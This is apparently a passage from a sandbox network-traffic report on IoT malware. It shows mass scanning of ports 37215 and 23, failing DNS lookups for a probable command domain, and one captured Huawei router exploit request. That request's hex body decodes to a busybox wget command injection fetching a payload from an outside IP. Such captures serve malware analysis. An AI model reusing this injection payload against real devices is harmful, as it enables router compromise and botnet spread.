Dec 3, 2024 22:02:09.349342108 CET	40832	37215	192.168.2.14	156.49.165.154
Dec 3, 2024 22:02:09.349343061 CET	40832	37215	192.168.2.14	156.215.20.24
Dec 3, 2024 22:02:09.349343061 CET	40832	37215	192.168.2.14	41.29.248.216
Dec 3, 2024 22:02:09.349355936 CET	40832	37215	192.168.2.14	156.252.120.165
Dec 3, 2024 22:02:09.349360943 CET	40832	37215	192.168.2.14	156.39.175.255
Dec 3, 2024 22:02:09.349368095 CET	40832	37215	192.168.2.14	41.94.106.134
Dec 3, 2024 22:02:09.349375963 CET	40832	37215	192.168.2.14	156.149.202.139
Dec 3, 2024 22:02:09.349392891 CET	40832	37215	192.168.2.14	197.187.2.41
Dec 3, 2024 22:02:09.349392891 CET	40832	37215	192.168.2.14	156.73.20.6
Dec 3, 2024 22:02:09.349401951 CET	40832	37215	192.168.2.14	41.129.102.240
Dec 3, 2024 22:02:09.349401951 CET	40832	37215	192.168.2.14	41.150.143.140
Dec 3, 2024 22:02:09.349401951 CET	40832	37215	192.168.2.14	41.6.228.52
Dec 3, 2024 22:02:09.349411011 CET	40832	37215	192.168.2.14	156.37.170.161
Dec 3, 2024 22:02:09.349422932 CET	40832	37215	192.168.2.14	41.250.156.102
Dec 3, 2024 22:02:09.349427938 CET	40832	37215	192.168.2.14	197.205.130.77
Dec 3, 2024 22:02:09.349437952 CET	40832	37215	192.168.2.14	156.203.75.155
Dec 3, 2024 22:02:09.349445105 CET	40832	37215	192.168.2.14	197.97.211.214
Dec 3, 2024 22:02:09.349445105 CET	40832	37215	192.168.2.14	156.169.44.61
Dec 3, 2024 22:02:09.349452019 CET	40832	37215	192.168.2.14	156.80.230.25
Dec 3, 2024 22:02:09.349471092 CET	40832	37215	192.168.2.14	156.254.65.156
Dec 3, 2024 22:02:09.349472046 CET	40832	37215	192.168.2.14	197.151.230.205
Dec 3, 2024 22:02:09.349472046 CET	40832	37215	192.168.2.14	197.230.218.228
Dec 3, 2024 22:02:09.349472046 CET	40832	37215	192.168.2.14	197.11.122.108
Dec 3, 2024 22:02:09.349478960 CET	40832	37215	192.168.2.14	41.136.54.108
Dec 3, 2024 22:02:09.349478960 CET	40832	37215	192.168.2.14	197.98.184.211
Dec 3, 2024 22:02:09.349486113 CET	40832	37215	192.168.2.14	156.181.158.155
Dec 3, 2024 22:02:09.349493027 CET	40832	37215	192.168.2.14	156.126.222.84
Dec 3, 2024 22:02:09.349495888 CET	40832	37215	192.168.2.14	156.238.237.224
Dec 3, 2024 22:02:09.349499941 CET	40832	37215	192.168.2.14	156.61.212.172
Dec 3, 2024 22:02:09.349499941 CET	40832	37215	192.168.2.14	197.125.181.3
Dec 3, 2024 22:02:09.349509001 CET	40832	37215	192.168.2.14	41.170.89.221
Dec 3, 2024 22:02:09.349519968 CET	40832	37215	192.168.2.14	197.22.4.216
Dec 3, 2024 22:02:09.349524021 CET	40832	37215	192.168.2.14	197.107.41.65
Dec 3, 2024 22:02:09.349539042 CET	40832	37215	192.168.2.14	156.204.46.72
Dec 3, 2024 22:02:09.349548101 CET	40832	37215	192.168.2.14	197.233.99.42
Dec 3, 2024 22:02:09.349548101 CET	40832	37215	192.168.2.14	41.97.156.112
Dec 3, 2024 22:02:09.349554062 CET	40832	37215	192.168.2.14	41.218.42.229
Dec 3, 2024 22:02:09.349567890 CET	40832	37215	192.168.2.14	41.73.198.220
Dec 3, 2024 22:02:09.349575996 CET	40832	37215	192.168.2.14	156.170.53.71
Dec 3, 2024 22:02:09.349581003 CET	40832	37215	192.168.2.14	156.20.55.160
Dec 3, 2024 22:02:09.349585056 CET	40832	37215	192.168.2.14	156.116.73.185
Dec 3, 2024 22:02:09.349595070 CET	40832	37215	192.168.2.14	197.236.126.151
Dec 3, 2024 22:02:09.349597931 CET	40832	37215	192.168.2.14	156.24.203.15
Dec 3, 2024 22:02:09.349601984 CET	40832	37215	192.168.2.14	156.220.119.117
Dec 3, 2024 22:02:09.349613905 CET	40832	37215	192.168.2.14	197.31.84.104
Dec 3, 2024 22:02:09.349622011 CET	40832	37215	192.168.2.14	41.124.127.243
Dec 3, 2024 22:02:09.349625111 CET	40832	37215	192.168.2.14	156.100.51.116
Dec 3, 2024 22:02:09.349637032 CET	40832	37215	192.168.2.14	156.226.32.105
Dec 3, 2024 22:02:09.350059986 CET	56188	37215	192.168.2.14	156.48.47.146
Dec 3, 2024 22:02:09.350605011 CET	45466	37215	192.168.2.14	156.193.43.120
Dec 3, 2024 22:02:09.351142883 CET	57310	37215	192.168.2.14	41.178.249.86
Dec 3, 2024 22:02:09.351648092 CET	44938	37215	192.168.2.14	197.72.134.123
Dec 3, 2024 22:02:09.352178097 CET	33986	37215	192.168.2.14	156.186.46.0
Dec 3, 2024 22:02:09.352684021 CET	60498	37215	192.168.2.14	197.225.210.86
Dec 3, 2024 22:02:09.353204012 CET	45714	37215	192.168.2.14	41.255.207.156
Dec 3, 2024 22:02:09.353725910 CET	57806	37215	192.168.2.14	197.208.71.138
Dec 3, 2024 22:02:09.354229927 CET	50812	37215	192.168.2.14	197.169.14.100
Dec 3, 2024 22:02:09.354751110 CET	60322	37215	192.168.2.14	156.244.107.232
Dec 3, 2024 22:02:09.355278015 CET	47230	37215	192.168.2.14	156.212.161.29
Dec 3, 2024 22:02:09.355822086 CET	53316	37215	192.168.2.14	197.51.35.149
Dec 3, 2024 22:02:09.356365919 CET	43472	37215	192.168.2.14	41.146.254.167
Dec 3, 2024 22:02:09.356916904 CET	43798	37215	192.168.2.14	197.255.22.244
Dec 3, 2024 22:02:09.357150078 CET	55190	23	192.168.2.14	135.73.175.235
Dec 3, 2024 22:02:09.357161045 CET	55200	23	192.168.2.14	174.161.2.242
Dec 3, 2024 22:02:09.357163906 CET	47828	23	192.168.2.14	71.186.116.33
Dec 3, 2024 22:02:09.357165098 CET	40150	23	192.168.2.14	24.178.91.105
Dec 3, 2024 22:02:09.357163906 CET	33580	23	192.168.2.14	99.133.31.233
Dec 3, 2024 22:02:09.357163906 CET	51968	23	192.168.2.14	137.121.32.250
Dec 3, 2024 22:02:09.357175112 CET	47172	23	192.168.2.14	37.235.95.122
Dec 3, 2024 22:02:09.357176065 CET	42000	23	192.168.2.14	105.206.190.91
Dec 3, 2024 22:02:09.357182026 CET	57414	23	192.168.2.14	220.146.52.34
Dec 3, 2024 22:02:09.357182026 CET	48650	23	192.168.2.14	18.196.24.16
Dec 3, 2024 22:02:09.357182026 CET	56862	23	192.168.2.14	40.235.153.75
Dec 3, 2024 22:02:09.357182026 CET	35586	23	192.168.2.14	35.109.140.61
Dec 3, 2024 22:02:09.357182026 CET	60996	23	192.168.2.14	117.192.200.29
Dec 3, 2024 22:02:09.357192039 CET	39990	23	192.168.2.14	146.22.222.244
Dec 3, 2024 22:02:09.357192039 CET	58398	23	192.168.2.14	57.102.84.217
Dec 3, 2024 22:02:09.357194901 CET	59712	23	192.168.2.14	204.47.89.247
Dec 3, 2024 22:02:09.357199907 CET	52838	23	192.168.2.14	131.222.34.60
Dec 3, 2024 22:02:09.357199907 CET	46878	23	192.168.2.14	20.133.124.244
Dec 3, 2024 22:02:09.357199907 CET	49762	23	192.168.2.14	138.177.240.7
Dec 3, 2024 22:02:09.357199907 CET	34484	23	192.168.2.14	189.37.205.80
Dec 3, 2024 22:02:09.357208967 CET	37796	23	192.168.2.14	77.13.88.103
Dec 3, 2024 22:02:09.357211113 CET	49952	23	192.168.2.14	203.209.206.88
Dec 3, 2024 22:02:09.357213020 CET	58962	23	192.168.2.14	42.22.11.164
Dec 3, 2024 22:02:09.357213020 CET	49374	23	192.168.2.14	195.82.9.76
Dec 3, 2024 22:02:09.357213020 CET	40844	23	192.168.2.14	112.32.138.144
Dec 3, 2024 22:02:09.357214928 CET	60442	23	192.168.2.14	178.100.72.57
Dec 3, 2024 22:02:09.357214928 CET	36740	23	192.168.2.14	8.238.9.246
Dec 3, 2024 22:02:09.357223034 CET	45192	23	192.168.2.14	113.217.196.67
Dec 3, 2024 22:02:09.357225895 CET	35994	23	192.168.2.14	102.101.228.208
Dec 3, 2024 22:02:09.357228041 CET	47256	23	192.168.2.14	108.161.31.74
Dec 3, 2024 22:02:09.357228994 CET	36044	23	192.168.2.14	175.196.171.110
Dec 3, 2024 22:02:09.357228994 CET	52052	23	192.168.2.14	158.198.190.0
Dec 3, 2024 22:02:09.357229948 CET	58462	23	192.168.2.14	138.169.74.145
Dec 3, 2024 22:02:09.357238054 CET	45554	23	192.168.2.14	186.173.143.231
Dec 3, 2024 22:02:09.357239962 CET	44938	23	192.168.2.14	173.85.40.15
Dec 3, 2024 22:02:09.357248068 CET	38502	23	192.168.2.14	39.144.96.220
Dec 3, 2024 22:02:09.357248068 CET	47202	23	192.168.2.14	58.204.211.161
Dec 3, 2024 22:02:09.357254028 CET	38602	23	192.168.2.14	87.48.97.116
Dec 3, 2024 22:02:09.357259035 CET	39342	23	192.168.2.14	116.128.242.240
Dec 3, 2024 22:02:09.357260942 CET	36380	23	192.168.2.14	99.162.36.32
Dec 3, 2024 22:02:09.357264042 CET	46264	23	192.168.2.14	201.18.21.225
Dec 3, 2024 22:02:09.357266903 CET	42120	23	192.168.2.14	125.15.86.135
Dec 3, 2024 22:02:09.357734919 CET	46112	37215	192.168.2.14	156.244.102.116
Dec 3, 2024 22:02:09.357734919 CET	46112	37215	192.168.2.14	156.244.102.116
Dec 3, 2024 22:02:09.358046055 CET	46404	37215	192.168.2.14	156.244.102.116
Dec 3, 2024 22:02:09.385149002 CET	58062	80	192.168.2.14	177.239.113.140
Dec 3, 2024 22:02:09.385149956 CET	55110	23	192.168.2.14	122.236.188.252
Dec 3, 2024 22:02:09.385153055 CET	37014	80	192.168.2.14	204.35.160.225
Dec 3, 2024 22:02:09.385153055 CET	57276	23	192.168.2.14	177.204.20.45
Dec 3, 2024 22:02:09.385155916 CET	58284	23	192.168.2.14	135.34.122.35
Dec 3, 2024 22:02:09.385155916 CET	60880	80	192.168.2.14	198.189.224.193
Dec 3, 2024 22:02:09.385162115 CET	33270	23	192.168.2.14	156.144.5.88
Dec 3, 2024 22:02:09.385170937 CET	54548	80	192.168.2.14	118.204.187.44
Dec 3, 2024 22:02:09.385170937 CET	45594	80	192.168.2.14	114.208.100.201
Dec 3, 2024 22:02:09.385171890 CET	59622	23	192.168.2.14	152.197.136.216
Dec 3, 2024 22:02:09.385170937 CET	35098	80	192.168.2.14	178.242.237.71
Dec 3, 2024 22:02:09.385174990 CET	38108	80	192.168.2.14	178.210.152.167
Dec 3, 2024 22:02:09.385174990 CET	35186	80	192.168.2.14	157.103.75.253
Dec 3, 2024 22:02:09.385175943 CET	53188	23	192.168.2.14	106.75.115.200
Dec 3, 2024 22:02:09.385175943 CET	44094	80	192.168.2.14	105.151.53.61
Dec 3, 2024 22:02:09.385179043 CET	60928	23	192.168.2.14	85.143.48.12
Dec 3, 2024 22:02:09.385179043 CET	57232	23	192.168.2.14	158.67.181.17
Dec 3, 2024 22:02:09.385188103 CET	39182	80	192.168.2.14	54.53.237.62
Dec 3, 2024 22:02:09.385188103 CET	44026	23	192.168.2.14	160.7.127.6
Dec 3, 2024 22:02:09.385191917 CET	50254	80	192.168.2.14	174.55.139.176
Dec 3, 2024 22:02:09.385190964 CET	38374	23	192.168.2.14	176.242.164.249
Dec 3, 2024 22:02:09.442229033 CET	23	35440	20.91.200.172	192.168.2.14
Dec 3, 2024 22:02:09.442409039 CET	35440	23	192.168.2.14	20.91.200.172
Dec 3, 2024 22:02:09.466382027 CET	23	39808	205.19.80.217	192.168.2.14
Dec 3, 2024 22:02:09.466453075 CET	23	39808	180.215.131.77	192.168.2.14
Dec 3, 2024 22:02:09.466474056 CET	23	39808	44.228.66.178	192.168.2.14
Dec 3, 2024 22:02:09.466517925 CET	39808	23	192.168.2.14	180.215.131.77
Dec 3, 2024 22:02:09.466523886 CET	23	39808	13.151.204.89	192.168.2.14
Dec 3, 2024 22:02:09.466552019 CET	23	39808	92.24.31.136	192.168.2.14
Dec 3, 2024 22:02:09.466555119 CET	39808	23	192.168.2.14	44.228.66.178
Dec 3, 2024 22:02:09.466557026 CET	39808	23	192.168.2.14	205.19.80.217
Dec 3, 2024 22:02:09.466562033 CET	39808	23	192.168.2.14	13.151.204.89
Dec 3, 2024 22:02:09.466588974 CET	39808	23	192.168.2.14	92.24.31.136
Dec 3, 2024 22:02:09.466604948 CET	23	39808	201.54.136.219	192.168.2.14
Dec 3, 2024 22:02:09.466636896 CET	23	39808	204.131.232.14	192.168.2.14
Dec 3, 2024 22:02:09.466645002 CET	39808	23	192.168.2.14	201.54.136.219
Dec 3, 2024 22:02:09.466677904 CET	39808	23	192.168.2.14	204.131.232.14
Dec 3, 2024 22:02:09.466717958 CET	23	39808	116.150.44.156	192.168.2.14
Dec 3, 2024 22:02:09.466753960 CET	39808	23	192.168.2.14	116.150.44.156
Dec 3, 2024 22:02:09.466756105 CET	23	39808	155.0.54.62	192.168.2.14
Dec 3, 2024 22:02:09.466793060 CET	23	39808	210.161.34.8	192.168.2.14
Dec 3, 2024 22:02:09.466797113 CET	39808	23	192.168.2.14	155.0.54.62
Dec 3, 2024 22:02:09.466829062 CET	39808	23	192.168.2.14	210.161.34.8
Dec 3, 2024 22:02:09.466851950 CET	23	39808	137.138.27.222	192.168.2.14
Dec 3, 2024 22:02:09.466890097 CET	39808	23	192.168.2.14	137.138.27.222
Dec 3, 2024 22:02:09.467725992 CET	23	39808	174.102.202.55	192.168.2.14
Dec 3, 2024 22:02:09.467736006 CET	23	39808	87.64.167.174	192.168.2.14
Dec 3, 2024 22:02:09.467765093 CET	23	39808	79.98.20.21	192.168.2.14
Dec 3, 2024 22:02:09.467765093 CET	39808	23	192.168.2.14	174.102.202.55
Dec 3, 2024 22:02:09.467775106 CET	23	39808	81.176.196.117	192.168.2.14
Dec 3, 2024 22:02:09.467775106 CET	39808	23	192.168.2.14	87.64.167.174
Dec 3, 2024 22:02:09.467784882 CET	23	39808	94.99.173.221	192.168.2.14
Dec 3, 2024 22:02:09.467808008 CET	39808	23	192.168.2.14	79.98.20.21
Dec 3, 2024 22:02:09.467808008 CET	39808	23	192.168.2.14	81.176.196.117
Dec 3, 2024 22:02:09.467823982 CET	39808	23	192.168.2.14	94.99.173.221
Dec 3, 2024 22:02:09.467928886 CET	23	39808	174.31.161.36	192.168.2.14
Dec 3, 2024 22:02:09.467940092 CET	23	39808	203.52.188.235	192.168.2.14
Dec 3, 2024 22:02:09.467947960 CET	23	39808	41.20.81.225	192.168.2.14
Dec 3, 2024 22:02:09.467958927 CET	23	39808	161.241.155.190	192.168.2.14
Dec 3, 2024 22:02:09.467963934 CET	39808	23	192.168.2.14	203.52.188.235
Dec 3, 2024 22:02:09.467968941 CET	23	39808	90.141.84.1	192.168.2.14
Dec 3, 2024 22:02:09.467972994 CET	39808	23	192.168.2.14	174.31.161.36
Dec 3, 2024 22:02:09.467978001 CET	39808	23	192.168.2.14	41.20.81.225
Dec 3, 2024 22:02:09.467978954 CET	23	39808	161.81.204.136	192.168.2.14
Dec 3, 2024 22:02:09.467988968 CET	39808	23	192.168.2.14	161.241.155.190
Dec 3, 2024 22:02:09.467989922 CET	23	39808	78.106.192.242	192.168.2.14
Dec 3, 2024 22:02:09.467997074 CET	39808	23	192.168.2.14	90.141.84.1
Dec 3, 2024 22:02:09.468008995 CET	39808	23	192.168.2.14	161.81.204.136
Dec 3, 2024 22:02:09.468019009 CET	39808	23	192.168.2.14	78.106.192.242
Dec 3, 2024 22:02:09.468028069 CET	23	39808	135.4.17.207	192.168.2.14
Dec 3, 2024 22:02:09.468038082 CET	23	39808	125.225.45.60	192.168.2.14
Dec 3, 2024 22:02:09.468048096 CET	23	39808	155.122.91.103	192.168.2.14
Dec 3, 2024 22:02:09.468063116 CET	39808	23	192.168.2.14	135.4.17.207
Dec 3, 2024 22:02:09.468065977 CET	23	39808	59.217.86.205	192.168.2.14
Dec 3, 2024 22:02:09.468069077 CET	39808	23	192.168.2.14	125.225.45.60
Dec 3, 2024 22:02:09.468077898 CET	23	39808	117.38.14.233	192.168.2.14
Dec 3, 2024 22:02:09.468079090 CET	39808	23	192.168.2.14	155.122.91.103
Dec 3, 2024 22:02:09.468087912 CET	23	39808	194.38.7.126	192.168.2.14
Dec 3, 2024 22:02:09.468099117 CET	23	39808	20.143.100.141	192.168.2.14
Dec 3, 2024 22:02:09.468103886 CET	39808	23	192.168.2.14	59.217.86.205
Dec 3, 2024 22:02:09.468107939 CET	23	39808	70.121.1.95	192.168.2.14
Dec 3, 2024 22:02:09.468111992 CET	39808	23	192.168.2.14	117.38.14.233
Dec 3, 2024 22:02:09.468111992 CET	39808	23	192.168.2.14	194.38.7.126
Dec 3, 2024 22:02:09.468117952 CET	23	39808	121.176.79.122	192.168.2.14
Dec 3, 2024 22:02:09.468127012 CET	39808	23	192.168.2.14	20.143.100.141
Dec 3, 2024 22:02:09.468127966 CET	23	39808	196.145.157.189	192.168.2.14
Dec 3, 2024 22:02:09.468139887 CET	39808	23	192.168.2.14	70.121.1.95
Dec 3, 2024 22:02:09.468147039 CET	39808	23	192.168.2.14	121.176.79.122
Dec 3, 2024 22:02:09.468154907 CET	39808	23	192.168.2.14	196.145.157.189
Dec 3, 2024 22:02:09.468530893 CET	23	39808	131.115.2.79	192.168.2.14
Dec 3, 2024 22:02:09.468556881 CET	23	39808	190.99.242.246	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 22:01:58.882266045 CET	192.168.2.14	8.8.8.8	0x1c54	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:01:59.142823935 CET	192.168.2.14	8.8.8.8	0x1c54	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:01:59.393321037 CET	192.168.2.14	8.8.8.8	0x1c54	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:01:59.643920898 CET	192.168.2.14	8.8.8.8	0x1c54	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:00.035814047 CET	192.168.2.14	8.8.8.8	0x1c54	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:23.510401964 CET	192.168.2.14	8.8.8.8	0xe1f0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:23.762479067 CET	192.168.2.14	8.8.8.8	0xe1f0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:24.236880064 CET	192.168.2.14	8.8.8.8	0xe1f0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:24.490564108 CET	192.168.2.14	8.8.8.8	0xe1f0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:24.740442991 CET	192.168.2.14	8.8.8.8	0xe1f0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:48.089538097 CET	192.168.2.14	8.8.8.8	0x24b1	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:48.560795069 CET	192.168.2.14	8.8.8.8	0x24b1	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:48.812155008 CET	192.168.2.14	8.8.8.8	0x24b1	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:49.283766985 CET	192.168.2.14	8.8.8.8	0x24b1	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:49.753993988 CET	192.168.2.14	8.8.8.8	0x24b1	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:13.266773939 CET	192.168.2.14	8.8.8.8	0x7e9b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:13.741005898 CET	192.168.2.14	8.8.8.8	0x7e9b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:13.992358923 CET	192.168.2.14	8.8.8.8	0x7e9b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:14.468092918 CET	192.168.2.14	8.8.8.8	0x7e9b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:14.944633007 CET	192.168.2.14	8.8.8.8	0x7e9b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:38.291992903 CET	192.168.2.14	8.8.8.8	0x1bdc	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:38.546016932 CET	192.168.2.14	8.8.8.8	0x1bdc	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:39.019340038 CET	192.168.2.14	8.8.8.8	0x1bdc	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:39.414916992 CET	192.168.2.14	8.8.8.8	0x1bdc	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:39.888138056 CET	192.168.2.14	8.8.8.8	0x1bdc	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:04:03.190884113 CET	192.168.2.14	8.8.8.8	0xbbb7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:04:03.441272020 CET	192.168.2.14	8.8.8.8	0xbbb7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:04:03.921912909 CET	192.168.2.14	8.8.8.8	0xbbb7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:04:04.313980103 CET	192.168.2.14	8.8.8.8	0xbbb7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:04:04.564167976 CET	192.168.2.14	8.8.8.8	0xbbb7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 22:01:59.141383886 CET	8.8.8.8	192.168.2.14	0x1c54	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:01:59.391899109 CET	8.8.8.8	192.168.2.14	0x1c54	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:01:59.642735958 CET	8.8.8.8	192.168.2.14	0x1c54	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:00.034795046 CET	8.8.8.8	192.168.2.14	0x1c54	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:00.428069115 CET	8.8.8.8	192.168.2.14	0x1c54	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:23.761368036 CET	8.8.8.8	192.168.2.14	0xe1f0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:24.235965014 CET	8.8.8.8	192.168.2.14	0xe1f0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:24.489799976 CET	8.8.8.8	192.168.2.14	0xe1f0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:24.739787102 CET	8.8.8.8	192.168.2.14	0xe1f0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:24.989830017 CET	8.8.8.8	192.168.2.14	0xe1f0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:48.560070992 CET	8.8.8.8	192.168.2.14	0x24b1	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:48.811369896 CET	8.8.8.8	192.168.2.14	0x24b1	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:49.282771111 CET	8.8.8.8	192.168.2.14	0x24b1	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:49.753186941 CET	8.8.8.8	192.168.2.14	0x24b1	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:02:50.225686073 CET	8.8.8.8	192.168.2.14	0x24b1	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:13.740339041 CET	8.8.8.8	192.168.2.14	0x7e9b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:13.991705894 CET	8.8.8.8	192.168.2.14	0x7e9b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:14.467282057 CET	8.8.8.8	192.168.2.14	0x7e9b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:14.944010019 CET	8.8.8.8	192.168.2.14	0x7e9b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:15.203494072 CET	8.8.8.8	192.168.2.14	0x7e9b	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:38.545382023 CET	8.8.8.8	192.168.2.14	0x1bdc	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:39.018486977 CET	8.8.8.8	192.168.2.14	0x1bdc	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:39.414236069 CET	8.8.8.8	192.168.2.14	0x1bdc	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:39.887460947 CET	8.8.8.8	192.168.2.14	0x1bdc	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:03:40.139422894 CET	8.8.8.8	192.168.2.14	0x1bdc	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:04:03.439999104 CET	8.8.8.8	192.168.2.14	0xbbb7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:04:03.920754910 CET	8.8.8.8	192.168.2.14	0xbbb7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:04:04.312880993 CET	8.8.8.8	192.168.2.14	0xbbb7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 22:04:04.562947989 CET	8.8.8.8	192.168.2.14	0xbbb7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	56092	156.71.207.31	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:03.097974062 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 